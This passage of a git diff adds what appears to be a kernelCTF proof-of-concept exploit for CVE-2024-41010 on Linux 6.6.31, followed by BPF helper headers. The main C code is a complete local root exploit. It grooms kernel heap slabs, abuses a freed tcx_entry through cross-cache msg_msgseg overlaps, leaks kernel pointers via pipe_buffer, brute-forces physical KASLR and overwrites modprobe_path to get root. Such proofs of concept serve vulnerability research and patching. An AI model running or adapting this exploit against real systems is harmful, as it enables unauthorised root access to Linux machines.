} + + int skbuf1k[SKBUF_SPRAY][2]; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf1k[i]) < 0) + errout("socketpair"); + } + + /* defrag kmalloc-cg-512 */ + puts("[*] kmalloc-cg-512 skbuf padding"); + char buf[1024]; + memset(buf, 0, 1024); + for (int i = 0; i < 224; i++) + { + if (write(skbuf512[i][0], buf, 512 - 320) < 0) + errout("write(socket)"); + } + + puts("[*] setup sandbox"); + if (setup_sandbox() < 0) + errout("sandbox failed"); + + /* prepare BPF spray */ + puts("[*] prepare spray objects"); + struct bpf_insn insns[] = { + BPF_MOV64_IMM(BPF_REG_0, 4), + BPF_EXIT_INSN(), + }; + + union bpf_attr prog_attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t) "GPL v2", + .log_level = 0, + .log_size = 0, + .log_buf = (uint64_t)0}; + + /* prepare msg_msg spray */ + msg_t *msg = calloc(1, sizeof(msg_t) + 4096 + 2048); + msg->mtype = MTYPE_PRIMARY; + + int defrag2k[SPRAY / 2]; + for (int i = 0; i < SPRAY / 2; i++) + { + defrag2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag2k[i] < 0) + errout("msgget"); + } + + int frag4k[SPRAY * 12]; + for (int i = 0; i < SPRAY * 12; i++) + { + frag4k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (frag4k[i] < 0) + errout("msgget"); + } + + int qid2k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + qid2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (qid2k[i] < 0) + errout("msgget"); + } + + int defrag1k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + defrag1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag1k[i] < 0) + errout("msgget"); + } + + int seg128[SPRAY + 128]; + for (int i = 0; i < SPRAY + 128; i++) + { + seg128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (seg128[i] < 0) + errout("msgget"); + } + int aux128[SPRAY * 2]; + for (int i = 0; i < SPRAY * 2; i++) + { + aux128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (aux128[i] < 0) + errout("msgget"); + } + + int defrag512[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + defrag512[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag512[i] < 0) + errout("msgget"); + } + + int qid1k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + qid1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (qid1k[i] < 0) + errout("msgget"); + } + + /* netlink socket creation */ + if ((sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) + errout("socket"); + + /* source netlink sock */ + memset(&snl, 0, sizeof(snl)); + snl.nl_family = AF_NETLINK; + snl.nl_pid = getpid(); + if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) + errout("bind"); + + /* alloc kmalloc-512 in holes */ + char _c; + puts("[*] kmalloc-512 defrag"); + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* enable interface (alloc netdev) */ + rt_newlink(sock, link_name, 32); + printf("[*] ifindex: %i\n", rt_getlink(sock, link_name)); + link_id = rt_getlink(sock, link_name); + printf("[*] link_id: 0x%x\n", link_id); + rt_setlink(sock, link_id); + + /* prepare tcf_proto spray */ + rt_newqdisc(sock, link_id, SPRAY_QDISC, 0xffffffff, "drr"); + + /* exhaust order 0 pages */ + puts("[*] order 0 pages defrag"); + int padding = pagealloc_pad(PAGE_SIZE, SPRAY); + + /* defrag cg-2k slab (msg_msgseg) */ + puts("[*] kmalloc-cg-2k defrag"); + for (int i = 0; i < SPRAY / 2; i++) + msgsnd(defrag2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* create cg-4k partial slabs to avoid disputing buddy pages with cg-2k */ + puts("[*] kmalloc-cg-4k partial slabs"); + for (int i = 0; i < SPRAY * 12; i++) + msgsnd(frag4k[i], msg, 4096 - 48, 0); + for (int i = 8; i < SPRAY; i++) + { + if (!(i % 8)) + continue; + if (msgrcv(frag4k[i], msg, 4096 - 48, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + } + + /* defrag 2k slab (bpf_prog_aux) */ + int progfd[SPRAY]; + puts("[*] kmalloc-2k defrag"); + for (int i = 0; i < 3 * SPRAY / 4; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } + + /* create qdisc and tcx_entry */ + printf("[*] alloc qdisc and tcx_entry\n"); + rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress"); + + /* fill up 2k slab */ + for (int i = 3 * SPRAY / 4; i < SPRAY; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } + + /* replace old qdisc (free tcx_entry) */ + printf("[*] replace qdisc (free tcx_entry)\n"); + rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress"); + + /* alloc dummy qdisc (SLUB double-free bypass) */ + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* free slab containing tcx_entry (return it to buddy) */ + printf("[*] cross-cache (kmalloc-2k -> kmalloc-cg-2k)\n"); + for (int i = SPRAY / 2; i < SPRAY; i++) + close(progfd[i]); + sleep(7); // wait for kfree_rcu + + /* msg_msgseg claim slab containing tcx_entry */ + puts("[*] overlap tcx_entry with msg_msgseg"); + for (int i = 0; i < SPRAY; i++) + msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* insert into qdisc 2, will dereference dangling ptr */ + printf("[*] create tfilter (overwrite msg_msgseg->next)\n"); + rt_addfilter(sock, link_id, 0xffff0000, 1, 0, "fw", 1); // add head tcf_proto + + /* defrag 128 slab (tcf_proto) */ + puts("[*] kmalloc-128 defrag"); + for (int i = 0; i < SPRAY; i++) + rt_addfilter(sock, link_id, SPRAY_QDISC, i, i, "fw", 1); + + for (int i = 0; i < 64; i++) // Isolate victim tcf_proto + rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1); + + puts("[*] create victim tcf_proto"); + rt_addfilter(sock, link_id, 0xffff0000, 2, 0, "fw", 2); // add victim tcf_proto + + for (int i = 64; i < 128; i++) // Isolate victim tcf_proto + rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1); + + /* invalid free tcf_proto via msg_msgseg */ + printf("[*] free bad msg_msgseg (1) (free victim tcf_proto)\n"); + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (1) + errout("msgrcv"); + } + + /* reclaim UAF slot for next free */ + puts("[*] overlap tcx_entry with msg_msgseg again"); + for (int i = 0; i < SPRAY; i++) + msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* Delete first tcf_proto, write victim tcf_proto ptr to head to be freed again */ + printf("[*] remove dummy tfilter (overwrite msg_msgseg->next)\n"); + rt_delfilter(sock, link_id, 1, 0xffff0000, 0, "fw", 1); + + /* Delete dummy qdisc (SLUB double-free bypass) */ + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* free slab containing tcf_proto */ + printf("[*] cross-cache (kmalloc-128 -> kmalloc-cg-128)\n"); + for (int i = SPRAY; i < SPRAY + 128; i++) + rt_delfilter(sock, link_id, i, SPRAY_QDISC, i, "fw", 1); + sleep(7); // wait for kfree_rcu + + /* msg_msgseg claim free slab */ + memset(&msg->mtext, 0x43, 4096 - 48 + 128 - 8); + for (int i = 0; i < SPRAY; i++) + msgsnd(seg128[i], msg, 4096 - 48 + 128 - 8, 0); + + /* free msg_msgseg */ + printf("[*] free bad msg_msgseg (2) (free victim msg_msgseg in kmalloc-cg-128)\n"); + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (2) + errout("msgrcv"); + } + + /* find corrupted msg_msgseg */ + memset(msg->mtext, 0x44, 4096 - 48 + 128 - 8); + printf("[*] find corrupted msg_msgseg in kmalloc-cg-128\n"); + for (int i = 0; i < SPRAY * 2; i++) + { + ((uint32_t *)&msg->mtext[4096])[2] = i; + msgsnd(aux128[i], msg, 4096 - 48 + 128 - 8, 0); + } + + int evilseg = -1; + int vulnseg = -1; + int eviladdr = -1; + uint64_t netdev_ptr; + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(seg128[i], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + if (memmem(&msg->mtext[4096], 128, "DDDDDDDD", 8)) + { + evilseg = i; + vulnseg = ((uint32_t *)&msg->mtext[4096])[2]; + break; + } + } + if (evilseg == -1) + { + puts("[-] corrupted msg_msgseg not found"); + exit(-1); + } + printf("[+] found corrupted msg_msgseg (evilseg: %i / vulnseg: %i)\n", evilseg, vulnseg); + + /* free corrupted msg_msgseg */ + if (msgrcv(aux128[vulnseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* overlap it with in_ifaddr */ + for (int i = 0; i < 32; i++) + inet_newaddr(sock, link_id, LOCALHOST + i, i); + + /* netdev pointer leak */ + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + if (isheap(((uint64_t *)msg)[509])) + { + eviladdr = ((uint32_t *)msg)[1027]; + netdev_ptr = ((uint64_t *)msg)[509]; + } + else + { + puts("[-] in_ifaddr leak not found"); + exit(-1); + } + + /* calculate pointer of adjancent kmalloc-cg-512 slab */ + uint64_t skbuf_ptr = (netdev_ptr >> PAGE_SHIFT << PAGE_SHIFT) - 0x6000; + printf("[*] predicted kmalloc-cg-512 ptr: 0x%lx\n", skbuf_ptr); + + /* make corrupted slot first in freelist */ + printf("[*] deleting eviladdr %i\n", eviladdr); + + for (int i = 0; i < eviladdr; i++) + msgsnd(aux128[SPRAY + i], msg, 128 - 48, 0); + + inet_deladdr(sock, link_id, LOCALHOST + eviladdr, eviladdr); + sleep(7); // wait for kfree_rcu + + memset(&msg->mtext, 0, 4096 - 48 + 128 - 8); + int badseg = -1; + for (int i = 0; i < 32; i++) + { + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + msgsnd(seg128[SPRAY + i], msg, 4096 - 48 + 128 - 8, 0); + if (msg->mtext[4096 - 48] == 0x43) + { + badseg = SPRAY + i; + printf("[+] found corrupted msg_msgseg 2: %i\n", badseg); + break; + } + } + if (badseg == -1) + { + puts("[-] corrupted msg_msgseg not found 2"); + exit(-1); + } + + if (msgrcv(seg128[badseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* data spray using alt_ifname (overlap msg_msgseg->next) */ + char name[128]; + *(uint64_t *)name = skbuf_ptr; + puts("[*] overlap msg_msgseg (point it to kmalloc-cg-512 skbuf->data)"); + rt_altifname(sock, link_id, name, 128); + + /* overlap cg-512 skbuf with msg_msg with cg-1k ptr */ + puts("[*] overlap kmalloc-cg-512 skbuf->data with msg_msg"); + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* double-free in cg-512 */ + for (int i = 224; i < 256; i++) + { + if (write(skbuf512[i][0], buf, 512 - 320) < 0) + errout("read(socket)"); + } + + for (int i = 0; i < 224; i++) + { + close(skbuf512[i][0]); + close(skbuf512[i][1]); + } + + memset(&msg->mtext, 0, 4096 - 48 + 128 - 8); + for (int i = 0; i < SPRAY; i++) + { + *(uint32_t *)&msg->mtext = i; + msg->mtype = MTYPE_PRIMARY; + msgsnd(qid1k[i], msg, 512 - 48, 0); + } + for (int i = 0; i < SPRAY; i++) + { + *(uint32_t *)&msg->mtext = i; + msg->mtype = MTYPE_SECONDARY; + msgsnd(qid1k[i], msg, 1024 - 48, 0); + } + + /* leak msg_msg with cg-1k ptr */ + char msgbuf[PAGE_SIZE]; + memset(msgbuf, 0, PAGE_SIZE); + struct msg_msg *fake_msg = (struct msg_msg *)msgbuf; + int badqid = -1; + for (int i = 224; i < 256; i++) + { + + if (read(skbuf512[i][1], buf, 512 - 320) < 0) + errout("read(socket)"); + if (isheap(((uint64_t *)buf)[0]) && isheap(((uint64_t *)buf)[1])) + { + badqid = ((uint32_t *)buf)[12]; + memcpy(msgbuf, buf, 512 - 320); + } + } + if (badqid == -1) + { + puts("[-] corrupted msg_msg not found"); + exit(-1); + } + printf("[+] found corrupted msg_msg: %i\n", badqid); + printf("[*] kmalloc-cg-1k msg @ 0x%lx\n", (uint64_t)fake_msg->m_list.next); + + /* pivot to cg-1k */ + fake_msg->m_list.next = fake_msg->m_list.next - 1024; + for (int i = 224; i < 288; i++) + { + if (write(skbuf512[i][0], msgbuf, 512 - 320) < 0) + errout("write(socket)"); + } + + /* victim qid */ + uint32_t victimqid; + if (msgrcv(qid1k[badqid], msg, 1024 - 48, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + victimqid = *(uint32_t *)&msg->mtext; + printf("[*] victim qid: %i\n", victimqid); + + if (msgrcv(qid1k[badqid], msg, 1024 - 48, MTYPE_SECONDARY, 0) < 0) + errout("msgrcv"); + + fake_msg->m_list.prev = fake_msg->m_list.next; + fake_msg->m_type = MTYPE_FAKE; + fake_msg->m_ts = 1024 - 48; + *(uint64_t *)fake_msg->text = 0x1337133713371337; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], msgbuf, 1024 - 320) < 0) + errout("write(socket)"); + } + + /* double-free cg-1k slot */ + if (msgrcv(qid1k[victimqid], msg, 1024 - 48, MTYPE_FAKE, 0) < 0) + errout("msgrcv"); + + /* spray pipe_buffer victims */ + int fdflags; + int pfd[PIPE_SPRAY][2]; + for (int i = 0; i < PIPE_SPRAY; i++) + { + if (pipe(pfd[i]) < 0) + perror("pipe"); + fdflags = fcntl(pfd[i][0], F_GETFL, 0); + fcntl(pfd[i][0], F_SETFL, fdflags | O_NONBLOCK); + fdflags = fcntl(pfd[i][1], F_GETFL, 0); + fcntl(pfd[i][1], F_SETFL, fdflags | O_NONBLOCK); + } + + /* populate pipe_buffer */ + for (int i = 0; i < PIPE_SPRAY; i++) + { + if (write(pfd[i][1], "pwn", 3) < 0) + perror("write"); + } + + /* leak pipe_buffer */ + bool found = false; + struct pipe_buffer *pipebuf = calloc(1, 1024); + puts("[*] read pipe_buffer with skbuf"); + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + if (*(uint64_t *)&buf[48] != 0x1337133713371337) + { + memcpy(pipebuf, buf, 1024); + found = true; + } + } + + if (!found) + { + puts("[-] corrupted pipe_buffer not found"); + exit(-1); + } + + puts("[+] found pipe_buffer"); + + /* leak vmemmap_base */ + uint64_t vmemmap_base = pipebuf->page & MASK; + printf("[*] vmemmap_base: 0x%lx\n", vmemmap_base); + + /* bruteforce phys-KASLR */ + uint64_t kernel_base; + found = false; + uint8_t data[PAGE_SIZE] = {0}; + puts("[*] bruteforce phys-KASLR"); + for (uint64_t i = 0;; i++) + { + kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT); + pipebuf->page = vmemmap_base + kernel_base; + pipebuf->offset = 0; + pipebuf->len = PAGE_SIZE + 1; + + printf("\r[*] trying 0x%lx", pipebuf->page); + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("\n[-] write(socket)"); + } + } + + for (int j = 0; j < PIPE_SPRAY; j++) + { + memset(&data, 0, PAGE_SIZE); + int count; + if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0) + { + continue; + } + + if (!memcmp(&data, "pwn", 3)) + { + continue; + } + + if (is_kernel_base(data)) + { + found = true; + break; + } + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + + if (found) + { + break; + } + } + found = false; + printf("\n[+] kernel base vmemmap offset: 0x%lx\n", kernel_base); + + /* scan kernel memory */ + uint64_t modprobe_page, modprobe_off; + uint32_t pipe_idx; + uint64_t base_off = 0; + puts("[*] scanning kernel memory"); + for (uint64_t i = 0;; i++) + { + pipebuf->page = vmemmap_base + kernel_base + 0x40 * i; + pipebuf->offset = 0; + pipebuf->len = PAGE_SIZE + 1; + + if (!(i % 1000)) + { + printf("\r[*] trying 0x%lx, %luMb", pipebuf->page, i * 4096 / 1024 / 1024); + } + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("\n[-] write(socket)"); + } + } + + for (int j = 0; j < PIPE_SPRAY; j++) + { + memset(&data, 0, PAGE_SIZE); + int count; + if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0) + { + continue; + } + + if (!memcmp(&data, "pwn", 3)) + { + continue; + } + + void *locate = (uint64_t *)memmem(&data, PAGE_SIZE, "/sbin/modprobe", sizeof("/sbin/modprobe")); + if (locate) + { + puts("\n[+] found modprobe_path"); + modprobe_page = pipebuf->page; + modprobe_off = (uint8_t *)locate - data; + printf("[*] modprobe page: 0x%lx\n", modprobe_page); + printf("[*] modprobe offset: 0x%lx\n", modprobe_off); + found = true; + pipe_idx = j; + break; + } + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + + if (found) + { + break; + } + } + + /* overwrite modprobe_path */ + char fd_path[32] = {0}; + puts("[*] overwrite modprobe_path"); + for (int i = 0; i < 4194304; i++) + { + pipebuf->page = modprobe_page; + pipebuf->offset = modprobe_off; + pipebuf->len = 0; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("[-] write(socket)"); + break; + } + } + + memset(&data, 0, PAGE_SIZE); + snprintf(fd_path, sizeof(fd_path), "/proc/%i/fd/%i", i, modprobe_fd); + + lseek(modprobe_fd, 0, SEEK_SET); + dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd); + + if (write(pfd[pipe_idx][1], fd_path, 32) < 0) + { + perror("\n[-] write(pipe)"); + } + + if (check_modprobe(fd_path)) + { + puts("[-] failed to overwrite modprobe"); + break; + } + + if (trigger_modprobe(status_fd)) + { + puts("\n[+] got root"); + goto out; + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + } + puts("[-] fake modprobe failed"); + +out: + sleep(13371337); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h new file mode 100644 index 00000000..dd71dca5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h @@ -0,0 +1,14 @@ +#ifndef _BPF_H_ +#define _MSG_H_ + +#include +#include +#include +#include "bpf_insn.h" + +int bpf(int cmd, union bpf_attr *attrs); +int map_create(int val_size, int max_entries); +int map_update(int mapfd, int key, void *pval); +int map_lookup(int mapfd, int key, void *pval); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h new file mode 100644 index 00000000..e1441c68 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h @@ -0,0 +1,281 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* eBPF instruction mini library */ +#ifndef __BPF_INSN_H +#define __BPF_INSN_H + +struct bpf_insn; + +/* ArgX, context and stack frame pointer register positions. Note, + * Arg1, Arg2, Arg3, etc are used as argument mappings of function + * calls in BPF_CALL instruction. + */ +#define BPF_REG_ARG1 BPF_REG_1 +#define BPF_REG_ARG2 BPF_REG_2 +#define BPF_REG_ARG3 BPF_REG_3 +#define BPF_REG_ARG4 BPF_REG_4 +#define BPF_REG_ARG5 BPF_REG_5 +#define BPF_REG_CTX BPF_REG_6 +#define BPF_REG_FP BPF_REG_10 + +/* Additional register mappings for converted user programs. */ +#define BPF_REG_A BPF_REG_0 +#define BPF_REG_X BPF_REG_7 +#define BPF_REG_TMP BPF_REG_8 + +/* BPF program can access up to 512 bytes of stack space. */ +#define MAX_BPF_STACK 512 + +/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */ + +#define BPF_ENDIAN(TYPE, DST, LEN) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = LEN }) + +/* Short form of mov, dst_reg = src_reg */ + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* Short form of mov, dst_reg = imm32 */ + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + + +/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ + +#define BPF_LD_ABS(SIZE, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Memory load, dst_reg = *(uint *) (src_reg + off16) */ + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + + +/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */ + +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = imm32 */ + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* + * Atomic operations: + * + * BPF_ADD *(uint *) (dst_reg + off16) += src_reg + * BPF_AND *(uint *) (dst_reg + off16) &= src_reg + * BPF_OR *(uint *) (dst_reg + off16) |= src_reg + * BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg + * BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg); + * BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg); + * BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg); + * BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg); + * BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg) + * BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg) + */ + +#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = OP }) + +/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Function call */ + +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = (FUNC) }) + +/* Raw code statement block */ + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +/* Program exit */ + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#endif diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h 